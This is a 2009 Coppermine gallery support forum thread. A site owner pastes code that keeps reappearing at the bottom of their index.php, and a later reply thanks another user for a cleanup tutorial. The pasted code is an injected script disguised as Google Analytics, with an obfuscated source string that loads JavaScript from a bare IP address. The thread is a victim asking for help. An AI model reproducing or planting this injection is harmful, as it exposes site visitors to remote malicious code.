my index.php files are changing everytime i think it's hacked. What to do? my index.php files are changing everytime i think it's hacked. What to do?
 

News:

CPG Release 1.6.26
Correct PHP8.2 issues with user and language managers.
Additional fixes for PHP 8.2
Correct PHP8 error with SMF 2.0 bridge.
Correct IPTC supplimental category parsing.
Download and info HERE

Main Menu

my index.php files are changing everytime i think it's hacked. What to do?

Started by picsmall.com, June 10, 2009, 09:19:52 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

picsmall.com

my coppermine gallery index.php file get some extra codes at bottom which get my index.php file undisplayable on web.
the code
<?php echo '<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("google-analytics-code-user-id");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>




this code is of google analytics but it is hacked(the code is not same as google analytics it is broken.
i deleted google analytics code but the code apears again automaticly.
i have also removed google analytics profile for this website




udgang99

Thank you for the link, Nibbler .... I had the exact same problem, and by following the tutorial, my gallery is now CLEAN!!! :-)